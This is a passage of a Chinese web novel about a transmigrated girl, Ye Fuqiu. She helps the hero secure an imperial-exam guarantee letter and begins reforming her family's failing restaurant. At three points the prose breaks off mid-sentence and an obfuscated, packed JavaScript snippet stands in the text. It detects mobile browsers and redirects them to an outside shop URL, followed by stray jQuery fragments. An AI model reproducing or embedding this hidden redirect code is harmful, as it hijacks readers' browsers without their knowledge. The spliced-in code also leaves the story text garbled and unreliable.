两人就这样拉拉扯扯，在门口僵持了好半晌，才听见顾宴苏忍无可忍从牙缝里逼出句：“够了，别闹了！” 冰冷的夜风吹过，叶扶秋上头的情绪稍微冷却，看到自己近乎投怀送抱似的动作，脸色一红，触电般松开手，望向顾宴苏淬了冰的黑眸，有些不知如何开口。 男主一定厌极了她。 真是冤死了，原主做的孽，现在要她来还。 顾宴苏一句话都不想和她多说，弯腰捡起地上的包裹，转身就要跨出院门。 “你先听我说！”叶扶秋再次伸手，小心翼翼抓住他袖角，“听完我的话再走也不迟。” 她面上镇定，实则根本没想到拿什么话术劝住人别走。 豆蔻之年的少女面容还有些稚嫩，月华在她焦糖色的眼瞳中荡漾，让她目光看起来狡黠又灵巧。 落在顾宴苏眼里，却是这个恶女人在胡搅蛮缠，又要想什么歪点子整他了。 前世她居高临下嘲讽他的嘴脸仍历历在目，少年时的阴影伴随一生，即使他日登上高位，他也仍忘不了那段浸没入他骨头缝里的耻辱。多少次梦回寒夜，血淋淋的伤口被一遍遍揭开，这道仿佛永远无法愈合的伤疤，让他不愿再靠近任何一个异性。 叶扶秋目光灼灼地盯着他：“这么晚了，你一个人要去哪？” “与你无关。” 少年声音无波无澜，好像没有任何人或事能触动他的情绪，叶扶秋心里直咯噔，但还是鼓起勇气解释：“我知道你心里对叶家有怨，从前之事都是叶小宝捣的鬼，爹已经罚他禁足。” “还有原身——还有我，以前是我不对，以后不会那样对你了，你就安安心心读书，往后叶家不会再亏待你了。” 顾宴苏嘴角扯出讽意，对她的话一分一毫都不信：“你说完了吗？我要走了，别拦着我。” 他果然不信，叶扶秋尴尬得脚趾抠地，忽然想起剧情，眼睛一亮：“等等，难道你不想考科举了吗？” “叶小宝撕了你的保文，我可以赔你一份新的！” 顾宴苏脚步顿住。 “县试报名只剩一天就截止了，靠你自己是弄不到保文的，难道你还想再蹉跎一年？” 原文里顾宴苏就是因为这个错过县试，要是能考，当然没人想再等一年。 见他停下，叶扶秋以为有戏，却很快听他从鼻腔发出“哼”的一声，迈开步子就要离开。 这都留不住？叶扶秋瞠目结舌，终于开始急起来，病急乱投医地喊道：“你留下！留下我就——我就把你娘的发簪还给你！” 那道单薄的背影一瞬间停住，他猛然转过身来，狭着一身肃杀的寒风，快步走回到叶扶秋面前，一字一顿地问：“你说什么？” 叶扶秋咽了下口水，有些心虚：“我说，只要你留下来，我就把你娘的东西还你。” 原身从前干的缺德事，包括且不限于抢了、砸了、扔了顾宴苏的东西，知道他最敬重亡母，便强夺走他母亲遗物，那支金镶玉的发簪，便是其中一样。 她作恶没有缘由，强夺走那些东西，竟只是为了看到顾宴苏痛苦。 叶扶秋看书时恨得咬牙切齿，没想到此刻，却只能用同样的东西来威胁他，她心里发虚，有些不敢看少年的眼睛。 “还给我。”顾宴苏声音冰冷。 叶扶秋后退几步，微微侧头，下意识捏了捏耳垂，带着几分不自然道：“不记得放哪了，我得先找找，等你留下考过县试，我便还你。” “叶、扶、秋！”顾宴苏咬着牙，一步步逼近，他双手攥成拳，嗓音喑哑，“你说的最好是真话。” 少年语气中威胁意味浓厚，叶扶秋却松了口气，选择性忽略他没说出口的暗示，只听到他答应留下来了！ “一言为定。”叶扶秋点点头，然后逃也似的跑回了卧房。 坐在塌上，足缓了一炷香时间，砰砰狂跳的心脏才趋于平缓，天知道她刚才有多紧张，她根本不知道那簪子在哪、还在不在叶家！不过是想起书中提过一嘴，才想到用这个来挽留顾宴苏。 权宜之计罢了。 …… 古代科举对考生身份审核十分严格，县试报名时，必须上交“亲供”、“互结”和“具结”，也就是个人信息页、五人联保书和廪生保结。 发簪先不提，没有保文是万万不行的。 次日一大早叶扶秋就起了床，出门准备去寻那位帮顾宴苏作保的姚廪生，当然，上门拜访之前还得先买些伴手礼。 如今正是深冬时节，早晚凉得很，哈出口气，便立刻在空气中凝结成一道白烟，叶扶秋搓搓手，感觉浑身都是冷飕飕的，直想寻些东西暖暖。 早市十分热闹，行人熙熙攘攘，店铺林立，商人小贩沿街叫卖。 路过早点摊子，雪白的包子冒着热气，卖包子的大婶热络地张罗着摊子：“肉包子两文，素包子一文，客官来点？” 早上原本就是空着肚子出门，被肉包子的香味一激，更觉得饿了。掏出三枚铜钱递过去，大婶便立刻笑容满面地递过包子：“小姑娘，拿好。” 一个肉馅一个素馅，成人拳头大的包子白白胖胖，馅料饱满的几乎快要溢出来了。 隔着油纸都能感受到包子滚烫的温度，叶扶秋吹了吹，迫不及待地啊呜一口，松软又浸透了汤汁的包子皮立刻在口腔中融化，油润的肉馅嘣出热乎乎有些烫的汁水，咸鲜多汁，馋得人忍不住一口接上一口。 素的那个则是白菜馅的，新鲜的大白菜剁得细碎，还掺了些胡萝卜丝和粉条，蒸得软嫩的萝卜丝和粉条混杂在一起，嚼起来软韧弹牙，充盈的汁水在唇齿间爆开，甘甜又清爽。 两个包子吃下去七分饱，竟有种意犹未尽的感觉。 正吃的开心，却忽然听见身边有人“哎呦”叫了一声。 叶扶秋下意识回头，就见到身边一个穿青衣的中年文士被人撞了一个趔趄，他站直身子，推开那个撞到他身上的年轻男人，皱眉道：“你怎么回事，走路看着点。” 男人衣着褴褛，捂着肚子一脸慌张，不停地弯腰道歉：“对不住，大老爷对不住。” “罢了，”中年文士皱眉挥了挥手，“你走吧。” 男人陪着笑，一溜烟就转身跑了。 中年文士没在意，叶扶秋却盯着那人的背影，忽然眼尖地发现他手上好像拿了什么东西，正悄默往怀里塞。 她犹豫片刻，还是没忍住提醒身旁中年文士：“先生，你要不要看看你身上有没有少东西？” 中年文士一愣，下意识摸兜：“坏了，我的荷包！” “现在追还来得及。” “多谢你，”来不及说多说，中年文士已经攒着劲追了过去，“有缘再见！” 叶扶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092735|195504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋一笑而过没多在意，转身便去吉祥斋买了提点心，又到书香阁买了套笔墨，沿街问路去寻姚廪生的家。 书里写姚廪生是个屡试不第的老秀才，平日靠帮人写文书为生，旧的那份保文就是他所写，给他送些薄礼，让他重写一份应当不是问题。 “咚咚咚！” 敲了许久的门，才终于有个老妇人出来问：“谁啊？” 叶扶秋带着笑，递上手里的礼物：“请问是姚廪生家吗？小女有事相求。” 她一个少女，年纪不大，笑得又诚恳，老妇人很快放下防备：“是这，他在家呢，你跟我进来吧。” 进了书房见到姚廪生，先恭维了几句，叶扶秋很快进入正题道：“还请姚先生帮忙。” 她躬身一礼：“听闻您为我家兄长顾宴苏作了县试保结，昨日保结不慎损毁，小女有个不情之请，可否麻烦您将保结再写一份？” 却不想姚廪生听到这话炸开了锅：“损毁了？！” “是……”叶扶秋试图解释，“舍弟顽劣，昨日不慎——” 姚廪生站起来勃然大怒，拿起桌上的礼物就塞回叶扶秋手上：“走，你现在就走。” “先生这是何意？”叶扶秋没想到他反应这样过激，一时有些手无足措。 姚廪生推着她往门外赶，嘴里训斥道：“科考何等大事！老夫的功名前途都押在这份保书之上，你们竟然全不当回事，说毁就毁了！如此态度，还考什么科举！” “别妄想了，老夫不会给你再写的！” 说罢，就将叶扶秋推出了家门。 叶扶秋傻了眼。 姚家大门在她面前轰然关闭，任她再怎么敲也没再打开。 她只得失望地离开，一来一回时间已到了中午，街边面摊上蒸腾着香喷喷的白烟，勾得人腹中馋虫直往外钻。 “老板，来碗阳春面。” 她随意找座位坐下，面很快便端了上来。 热气腾腾的碗里盛得满满的，面条粗细均匀根根分明，面汤则是淡淡的酱色，清澈透亮，一点不显油腻。 汤上还点缀着少许葱花和青菜，香气扑面让人食指大动，叶扶秋夹起一筷子，面条筋道滑爽，吃上一口便将满身寒意纷纷驱散。 方才的郁闷也稍稍散了些，她还是太过傲慢了，她想。 凭借着穿越者的身份，想当然就觉得事情应该如她所愿，她低估了科举的严肃和读书人的坚持，她有些理解姚廪生为什么拒绝了。 科举对考生身份审查极其严格，廪生一旦同意做保，就要承担巨大的责任，一旦考生舞弊或是发生其他什么问题，连带着廪生本人的前途和功名都会毁于一旦。 这么重要的保书都看不住，让姚廪生如何相信顾宴苏这名学子是真心科考？ 可县试报名明日就要截止，新保书到现在没着落，她该上哪找到一个身份足够、且愿意为之付出风险的人？ “小姑娘，又见到你了。” 愁眉不展间，身后忽然传来一道声音，叶扶秋抬头一看，竟然是早上遇到的中年文士，他捋着胡子和蔼地问道：“为何愁眉苦脸？说来听听，说不得就有能帮得上的地方。还要谢过你先前的提醒，我的荷包总算追回来了。” 这么巧？ 叶扶秋瞧他穿了身儒衫，也一副读书人打扮，或许也有功名在身？ 她抱着一丝希望将自己的烦恼说了，就见中年文士呵呵笑了两声，不紧不慢点头道：“这有何难，本官帮你就是。” 叶扶秋的眼睛瞬间亮了。 5. 成何体统 叶扶秋脸上的惊喜几乎溢出来，她长得玉雪可爱，又用看救星一样的眼神盯着中年文士，把他看得虚荣心大起，恨不能什么都答应她。 “本官乃是县衙主簿徐慧，我可替你兄长找个廪生，”他捋着胡子的动作顿了一下，还是没把话说死，“不过能否作保，还要看你兄长表现。” 听这意思竟也不能给她保证一定办成。 叶扶秋嘴角刚落下来几分，徐主簿就受不住立刻补充道：“只要你兄长确实身家清白，并无不法，拿着本官名帖去，此事多半能成。” “好，那就多谢徐大人了！”叶扶秋满脸感激，“多亏大人给小女指过明路，真不知如何感激您才好。” “无妨无妨，举手之劳罢了。”徐主簿呵呵笑。 叶扶秋哪里会错过这个结识主簿的机会，县城衙门除了县令就是主簿最大，这可是真正的古代官员，而且脾气也相当不错。 她想了想，诚恳道：“真不知如何谢您才好，徐大人，小女家里是城东叶记饭馆的，还请您拨冗前来叶记用膳，我叶家必当扫榻以待。” 借感谢之名攀关系的商户徐慧见得多了，但看着叶扶秋那副真挚的模样愣没说出拒绝，沉吟片刻便答应她：“等县试过后吧，到时我也来沾沾喜气。” 他这是假定顾宴苏能考中了，叶扶秋福身笑着应下：“那就多谢您吉言了。” …… 叶扶秋拿着名帖，片刻也没耽误，立刻回家去找顾宴苏，准备一起去寻徐慧所介绍的廪生柳涯。 “快跟我走，我找到新的廪生给你作保了！” 找到顾宴苏时，他正在自己房中读书，闻言回头看到满脸兴奋的叶扶秋，却脸色漠然，无动于衷的样子。 叶扶秋上前一把夺过他手里的书：“哎呀别看了，真是皇帝不急急死太监，都什么时候了还看！” 她放下书去拽他，不知道哪来的力气硬生生把他从椅子上直接薅起来，又转了个圈推着他后背就往屋外去。 两人俱是十三四岁的年纪，女孩发育本就比男孩早些，顾宴苏这些年在叶家吃不饱穿不暖，昨日又挨打受了伤，身体正虚着，被她猛然间拉扯还真反抗不过，硬是被她轻轻松松一路拉到了街上。 顾宴苏：…… “成何体统！”一抹薄红从他冷白的脖颈间透出，他有些恼羞成怒地甩开她，“拉拉扯扯像什么样子。” 叶扶秋不以为意，男主才十四岁，到现代也就是个初中生，在她看来还是小孩呢！ 不过读书人脸皮薄，多少得照顾一下少年男主稚嫩的心灵，叶扶秋没再拉他，好声好气地跟他试图沟通：“我好不容易才托县衙的徐主簿给你介绍了人，别闹啊乖，没有保结你就不能报县试了，后果很严重的！” 她语重心长地解释着，顾宴苏竟有种被当成孩子在哄的荒谬之感。 她还能托到县衙主簿的关系？ 顾宴苏抗拒的脚步顿住，不由产生一丝好奇，为了整他，她究竟能做到什么地步？ 也罢，那就同她去看看吧。 叶扶秋哪里能想到，她一心当小孩哄着的顾宴苏还以为她是想整他，重生后的男主根本对她的好意一点儿也不相信。 她只以为她的劝说起了作用，顺顺利利带着顾宴苏找到了廪生柳涯家。 柳涯和姚廪生不同，家财颇丰，也算是大户人家了。 敲了几下大门，便有门房开门来询，叶扶秋递过去徐慧的名帖：“我们是县衙徐主簿介绍来的，烦请通报一下柳廪生。” “真不巧了客人，我家老爷今日不在府上。” “不在？”叶扶秋心里一沉，“可知道他何时回来？” 门房客客气气的，“应当得明日了。” 明日？明日就是报名截止日了！ 叶扶秋急得团团转：“你确定你家老爷明日能回来吗？我们有要事寻他，他去了何处，我们能去寻他吗？” 这话说得有些冒昧，那门房斜睨她一眼，但看在徐主簿名帖的份上还是礼貌回答：“老爷出城了，客人去寻恐怕也是寻不到的，还请明日再来吧。” 叶扶秋只好收回名帖，明天柳涯要是回来晚了，顾宴苏可就赶不上县试报名了。 她急得一头汗，却见顾宴苏淡定得很，只在一旁无动于衷看着她，顿时恼道：“哎，你怎么一点也不着急呢？” 顾宴苏不回答她的问题，只冷漠道：“闹够了吗，我要回去读书了。” “谁闹了呀！”叶扶秋颇有些无力，“先回去，明天一早我们再来！” 顾宴苏不置可否，但并不认为她明天还有这个耐心。 哪知道第二天一早叶扶秋竟真的来了。 又是一阵鸡飞狗跳地拉着顾宴苏到了柳府，问过门房柳廪生还未归来，瞧见他们是要一直等下去，柳府管事便将他们接进了府里等待。 时间一分一秒过去，叶扶秋看着日晷的影子不断移动，时间已经到了未时，也就是下午两点，距离申时报名封箱已经只剩一个时辰！ 她急得满屋子转，顾宴苏倒是耐得住性子，一直安安静静坐着看他带来的书。 叶扶秋也是彻底服了，这就是男主吗，遇到什么事都不会慌的？ 然而不过又等了一炷香时间，顾宴苏忽然站起来看了眼日晷，收起书道：“不等了，我要走了。” 叶扶秋一愣，“别走呀，再等等吧。”她苦着脸，“现在回去没有保结你也报不了名啊。” 顾宴苏理了理衣服，并不打算和她多说，只兀自往屋外走去。 叶扶秋感觉自己也要放弃了，她有些恼火，自己都急成这样了，这人自己却一点也不上心。 算了算了，她也不管了，爱考不考吧，不伺候了。 这样想着，叶扶秋也迈步往外走，甚至因为带着对顾宴苏的怨气脚下走得飞快，很快超到了他前面。 她闷着头快步往前走，下一秒却“砰”地撞上一个人，那人“哎呦”痛呼一声。 叶扶秋吓了一跳，刚站稳身子便看到面前站着一个青衣儒生，面容清秀，三十来岁的样子。 “抱歉抱歉，是我没看路。” “无妨，你们就是徐主簿介绍来的？” 儒生好脾气的摆摆手，“我就是柳涯，找我何事？” 是柳廪生回来了！ 叶扶秋惊喜地睁大眼，赶紧行了个礼道：“柳先生，可算把您盼回来了！” 她急忙转身拉过身后的顾宴苏：“这位是我兄长，我们想请您帮忙做保，为他出份保结去考县试。” 顾宴苏神情有些发愣，不知是因为没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092736|195504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到柳涯能赶回来，还是因为叶扶秋称他为兄长…… “保结么……”柳涯沉吟片刻，“既然是徐主簿介绍来的，这个忙我可以帮，只是我还需要问你几个问题。” “你们随我来。” 柳涯带着两人来到书房，目光锐利地审视顾宴苏，连串问他： “祖上三代，所操何业？” “可有刑伤过犯？” “可有匿丧？” “读过什么书，可有把握考过？” 顾宴苏沉声一一回答，柳涯又考校了他的学问根基，确认一切无误后才终于决定为他作保。 柳涯先在纸上写了自己的姓名、籍贯和廪生身份，又继续下笔写道： “今保得本县童生顾宴苏，身家清白，非优倡皂隶之子孙，无冒籍、匿丧、顶替等弊。 如虚，甘坐同罪。” 柳涯在保结上签名、盖上私章，最后将红指印按上的瞬间，叶扶秋长出了一口气，终于成了！ 柳涯望着顾宴苏，严肃道：“你们来得仓促，我本不该轻易为你作保，但见你才思敏捷，学识扎实，我也不忍看你错过今科。” “望你莫负我今日之保。” 顾宴苏神色有些复杂，拱手一礼，郑重道：“学生明白，定不负先生今日大恩。” “时候不早了，我派人送你们过去，莫误了封箱时间。” 柳涯当机立断，让管事安排马车直接送他们去县衙。 离申时已经很近了，古代人看时间没现代那么准确，通常要靠估算，报名封箱全凭当值书吏决定。 坐在车里，叶扶秋也不知能不能赶上，着实为顾宴苏捏了把汗。看他面色有些凝重，不复先前的从容，想来也在悄悄着急？ 马车在城中飞快的行驶，一炷香时间，两人终于赶到了县衙礼房，刚下车就听见那边的书吏正大声念道：“时辰到，封箱！” 叶扶秋吓得魂飞魄散，一把夺过顾宴苏手上的报名材料，以百米冲刺的速度飞奔过去：“等一下！” 千钧一发之际，叶扶秋用尽全身力气扑到投稿的木箱上，用手阻住正要合上的箱盖，将材料塞了进去！ 那封箱的书吏吓了一跳，本想阻止，但见材料已经塞进箱子，便还是作罢了，只没好气对她道：“下回早点来。” 成了！ 叶扶秋跑得心脏都要从嗓子里跳出来了，只能堪堪点头回应。 她拍着胸脯平复心跳，对终于走到她面前的顾宴苏露出一个胜利的手势，却见他脸上神色复杂：“你……” 被姐感动了吧。嘿嘿。 叶扶秋哥俩好的撞他一下，一边还呼哧呼哧喘着粗气： “呼，不、不用、呼呼，太感动、呼！” 顾宴苏一阵无言。 柳涯的马车帮忙到底，又把他们送回了叶家。 到了家，叶扶秋强撑一天的那口气终于泄了下去，慢吞吞走着，却忽然看见顾宴苏身上掉下来一张纸。 顾宴苏没发现，叶扶秋赶紧弯腰捡起来，正准备送过去还他，就发现纸上的文字有些眼熟。 “廪生……今保得本县童生顾宴苏……” 除了开头作保的人有不同，其余内容和方才柳涯所写均是一样。 俨然又是一份保结。 6. 油渣菜饭 不是，怎么又冒出来一份保结？ 叶扶秋呆住。 她紧接着很快反应过来，这恐怕是顾宴苏自己找人作保开具的。 原来他一直不慌不忙不是不急，只是因为他已经自己做好了万全准备！ 原来他陪她等到未时忽然要走，不是失去耐心，而是因为再不走就要错过最后的封箱时间了！ 叶扶秋瞠目结舌，也就是说，即使没有她的帮忙，顾宴苏也能顺利报上县试。甚至因为她的多事，还耽误了他复习的时间。 一时间心情乱地无以复加。 错愕、委屈、无力，种种情绪胀满了她的头脑，一丝被“戏弄”的愤怒涌上心头，她压着声音，对听到动静回过头来的顾宴苏甩甩手里的纸张，质问他：“你有什么要说的吗？” 顾宴苏看清楚那张纸，瞳孔一缩，声音却平静道：“说什么？” 叶扶秋一下子炸了：“我为了你这张保结，在外面到处求人，看尽脸色！而你明明早就拿到新的了，却看着我像个傻子一样上蹿下跳！你为什么不早说？” “我让你去了吗？” 叶扶秋被他一句话堵住，气息急促，胸膛起伏，简直说不出话来。 “是，全是我一厢情愿、多管闲事行了吧！”叶扶秋把那张保结一把砸在他脸上，“你不识好歹！” 顾宴苏没躲，薄薄的纸张缓缓飘落，瘦削的面颊上清晰显露出一丝嘲讽：“你们叶家收留我，不过是为了博一个善待故人之子的名声，可我这三年在叶家过得什么日子，难道你自己心里不清楚？” “今日帮我报名县试，焉知不是想等我考中挟恩图报？” 他脸色冰冷极了：“叶扶秋，我只求你们往后不要再来碍我！” 他说罢转身便走，只留下叶扶秋在原地气得跳脚：“行！你的事我以后再也不管了！” 少年清瘦背影微不可察地一顿，碎冰般的声音轻飘飘从前方传来：“最好不过。” 顾宴苏这个混蛋！ 叶扶秋气得锤了一下大腿，深深呼吸努力平复情绪，她理着思绪，终于渐渐平静下来。 方才气得要命，但仔细想来，顾宴苏对她的冷漠其实合情合理，他在叶家寄人篱下受了三年屈辱，怎么可能轻易放下仇怨。 是她一厢情愿陷入了“救世主”的角色当中，高估了自己，也低估了顾宴苏。 他是原著里那个全凭自己努力，能从一无所有拼到名扬四海的状元郎，而不是一个只能等待别人拯救的小可怜。 只是当他这样的冷漠落到自己身上，还是难免让人觉得委屈，明明欺辱他的那个人从来不是我…… 叶扶秋咬着下唇，连番奔波让她有些狼狈，她慢慢挽起垂落颊边的发丝，思路却在慢慢变得清晰。 和男主的关系亟需改善，但这并不是她唯一的出路，她又不是什么都不会的菟丝子，她有她自己的价值。 叶扶秋清醒过来，她之前的想法完全被原著困住了，穿成炮灰女配又怎么样？她在现世能闯出偌大名声，穿进书里难道就不能再成就一番自己的事业了吗？ 叶记的兴盛，便从今日开始！ …… 宏伟壮志立下没多久，很快就被现实重击，叶扶秋去到叶记饭馆，情况远比她想象的还遭。 明明正是用餐的时候，店里却空无一人。油腻腻的桌椅摆得散乱，叶扶秋随手一抹就是一手灰，她皱眉又看向柜台，叶母余氏正百无聊赖地摆弄着菜牌。 “娘，店里怎么连个伙计都没有？瞧这桌椅都脏成什么样了。” 余氏意兴阑珊：“都没客人，哪还有余钱请伙计。” 那你可以自己擦啊。 叶扶秋没敢说出口，撇撇嘴又看菜牌：菜饭、汤饼、腌菜、回锅肉、煎咸鱼…… 听着就不好吃，难怪没人上门。 待了半天，已经未时，店里才终于进来个年轻汉子，薄薄的袄子上满是补丁，一看就是做苦力的穷人。 “有人没？”年轻人见没人招呼，只能自己拉开椅子坐下，“有什么好菜给我上道。” 余氏瞧他粗俗的样子有点嫌弃，没好气指着柜台上的菜牌：“就这些，你要什么？” 那人看着菜牌上的价钱，回锅肉三十文，汤饼十五文，只有菜饭最便宜也要八文钱。 “这么贵！”他惊讶，“这可比隔壁林记贵多了！” “爱吃不吃。”余氏翻了个白眼。 “你！” 那汉子一瞪眼，可想想现在已经未时，别家饭馆都打烊了，也就叶记因为没生意还开着门，于是还是忍了下来：“那就来碗菜饭吧。” “好嘞，香喷喷的菜饭一碗，客官稍坐，待会就来。” 清脆的声音从柜台边传来，汉子一抬眼就见到一个穿着嫩黄色儒裙的明艳少女朝他微笑，他脸一红，不敢再看。 余氏惊讶地看着女儿，叶扶秋原来十指不沾阳春水，可从不会帮家里跑堂。 叶扶秋眨眨眼同她说：“我去后厨了。” 到了后厨，只见到乱哄哄的厨房里，叶父正靠着墙打呼噜。 叶扶秋拍拍他：“爹快醒醒，有客人点了菜饭。” “呼……啊？啊。”叶父惊醒，有些犯迷糊站起来，走到锅边准备盛饭。 叶扶秋探头看了一眼，皱起眉，那锅菜饭一点儿热气也不冒，纯粹就是白米饭里拌上青菜，和她在现代吃的菜饭完全不同，这也太敷衍了。 “这哪能端给客人吃，”叶扶秋尝了一口，寡淡无盐，一点味道也没有，“爹歇着，我来再处理一下。” 不顾叶父的阻止，她寻了巴掌大的猪板油，柴火点起，准备熬油。 先焯过水，再将切成小块的板油放在锅里翻搅，水汽很快蒸发，滋啦滋啦，清亮的猪油便在锅里不断涌出，空气中弥漫着油脂的芳香。 等到板油一块块收缩，变色成金黄的渣脂，便赶紧捞出，撒上些盐，就成了一道新菜，喷香扑鼻，搅动味蕾。 熬出的油脂倒在罐子里，冷却下来就是色泽洁白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092737|195504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的猪油。 叶扶秋趁热舀了一大勺到盛着菜饭的大锅里，被她加热了的菜饭被猪油一激，顿时发出滋啦啦的声音，又加了些盐，用木勺将菜饭搅匀，一碗平平无奇的菜饭立刻变得香气扑鼻。 叶扶秋取了个干净的托盘，放上一大碗菜饭，又分了一小碟猪油渣，赶紧往前厅端去。 因为熬猪油耽误了时间，那汉子早已等得不耐烦了，正当他敲着桌子想要闹起来时，叶扶秋终于端着盘子过来了。 “客官久等了。”叶扶秋将饭菜轻轻放到桌上，眉眼弯弯，眼神真挚，并着手掌指向小碟，“赠您一份猪油渣，还请慢用。” 莹白剔透的米饭裹着油亮的光泽，星星点点翠绿的青菜点缀其中，诱人极了。那一小碟猪油渣也散发着热气，一看就是新炸出来的。 汉子忍不住吞了一下口水，不敢相信这是八文钱能买到的东西：“这渣脂真的送我？” 叶扶秋盈盈一笑，嗓音清亮：“当然是真的，不过客官要是喜欢，明日再点就要付钱了。单买一份猪油渣八文钱，最近有优惠，和菜饭一起点的话只需要十二文哦。” 汉子有些心动，不过十二文一顿饭对他来说稍有些贵了，还是摇了摇头。 他拿起筷子吃了口菜饭，进嘴的瞬间就睁大了眼睛，那颗颗分明的米饭在唇齿间碰撞，猪油的香味渗在其中，简直把他香了个跟头！ 又夹了块油渣，焦焦脆脆，油而不腻，带着淡淡的咸香，他几乎是立刻就抬头告诉叶扶秋：“我明天还来！” “好嘞，欢迎您常来。” 推销成功的叶扶秋心情甚好，直到客人走了还一直笑眯眯的，却听余氏有些埋怨道：“秋儿怎么还送他渣脂，那可是肉啊！本来就赚不到几个钱，怎么还白送呢？” “哎呀，娘。”叶扶秋叹气，“做生意怎能计较那点蝇头小利，我今个在这待了半日，可算知道咱家饭馆生意为什么不好了。” “为什么不好？”叶父从后厨走出来，手里还端着盘油渣，一边吃得津津有味一边问。 “爹，既然您问，那女儿就大胆说了。咱家的菜单是哪年的老黄历了，我瞧着上面的字，都放花了。” “那是你爷爷传下来的菜牌，”叶父呵呵笑，“四十年没换过。” 他还挺得意。 叶扶秋无语了一下，道：“是时候换换了，就这些菜一点儿花样也没有，客人想必早吃腻了，哪里能吸引来别人。” 她又把话头转向余氏： “还有，娘做的也不对！ 咱们店里环境太脏不说，您对客人的态度就实在不该，人家是来吃饭又不是来受气的，您那个样子对客人说话，就算菜味道再好也没法留住客人。更何况咱家菜品本就一般，我听刚才那客人的意思，咱们就连菜价都比别家贵？” “这还怎么做得成生意！”样样都比不过别人，“咱们得改，大改！” 余氏挨了女儿的数落，竟也没生气，虚心道：“秋儿你是个有主意的，那你说，怎么改？” 7. 精打细算 叶扶秋沉吟片刻，提起一件至关重要的事：“咱家账上还有多少余钱，每日经营和日常开支又是多少？” 书里写顾晏苏离开叶家没几日叶记饭馆就关了门，这账上的银两恐怕不容乐观。 余氏面上露出几分心虚，犹豫许久才从柜台下取出一个带锁的小盒：“余钱都在这了，店里每五日采购一次菜品，每次约耗三两银子，除此以外还有炭火及油盐酱醋等，每月差不多需要三两银子。” 叶扶秋接过盒子，轻飘飘的像是空无一物，她打开数了一下，一二三四，五两！ 叶扶秋两眼一黑，她想过少，可没想过这么少！ 不算按月采购的柴米油盐，光是采购菜品每日都至少需要六钱银子，照这样算，即使不考虑要交给官府的商税和常例钱等等杂项，要不了五六天，叶记饭馆就得关门大吉，全家人一起喝西北风去。 难怪原著里叶父会低价卖了饭馆，原来是真养不起了。 叶扶秋扶额，这烂摊子…… 她取过宛如一团乱麻的账册翻看，上月收入十四两，支出二十六两，忙碌一个月倒亏十二两。 支出杂项是否合理暂先不谈，这账上余钱瞧着就不大对，她问余氏：“上月末账上还有二十四两六钱，这个月已花了九两，为何现在账上却只剩下五两了呢？” 余氏眼神躲闪：“前几天小宝说要和同窗参加文会，我……我给他支了五两。” “那也不对，还差五两六呢？”叶扶秋追问。 一直默不作声的叶显宗忽然插嘴：“咳咳，前天有老友约我推牌九，我就支了些。” 好赌的爹，偏心的娘，贪婪的弟，和破碎的她。 要素齐全。 叶扶秋闭眼按住直跳的眉心，忍住咆哮的冲动，温声细语开口却是不容置喙道：“现如今家中的情况爹娘应该也清楚了，再过几日店里就连菜品采买的钱都掏不出了。介于在您二位手底下入不敷出的账务，接下来这段时日家中银钱就由我来掌管，所有支出必须经过我手。” 叶父不赞同的神色刚露出来，叶扶秋就堵住他嘴：“还没告诉爹娘，我邀请了县衙主簿徐慧徐大人县试后来叶记赴宴，主簿在县里什么地位，想必不用我多说。” 叶父一阵诧异：“主簿？官老爷怎会赴你的约？” 叶扶秋解释了缘由，又劝道：“死马当做活马医，以叶记如今这情形，反正也不能更坏了，爹娘就信我一回吧！只要家里能撑过这阵子，等顾晏苏县试得中，咱们就能攀上徐主簿的路子，还用愁日后的生意吗？” 她一方面极力自证，一方面又将顾宴苏同叶记的未来捆绑，以图让叶家父母能对男主好些，来挽回他对叶家糟糕的印象。 劝了半晌，父母二人总算不再反对，四只眼睛盯着叶扶秋等她说接下来的安排。 叶扶秋想了想：“就先从环境着手吧，店里必须打扫干净，家中经营既然困难，请不起帮工，那咱们就自己干。” “还有店里的菜品得换一阵子了，五两银子不足以支撑原先那么多菜品，我们得降本增效，薄利多销。” 这便是要大改了，叶父大为不满，他猛拍着大腿，严词拒绝：“菜不能换！这可都是祖传下来的。” 因循守旧是赚钱的大忌，叶扶秋委婉道：“祖宗留下的虽好，可也得卖得出去才行。” “先活下去，再说其他。” 叶父忧心忡忡：“你怎知你就是对的？你这丫头明明之前什么都不会。” “谁说我不会，”叶扶秋捧他，“我可一直学着呢，再说了，这不还有爹您老人家坐镇，出不了岔子！” 几句话捧得叶父心情大好，这才同意让她放手一试。 叶扶秋最先开刀的就是叶小宝，她让叶父开了门锁，进去便直奔墙角，从抽屉里抄出了他的小金库：五两银子。 书里恰好提过这小金库。 顶着叶小宝难以置信、几乎要吃人的眼刀，叶扶秋淡定道：“家里如今归我管钱，娘给你多支的这五两银子，理应充还公帐。” 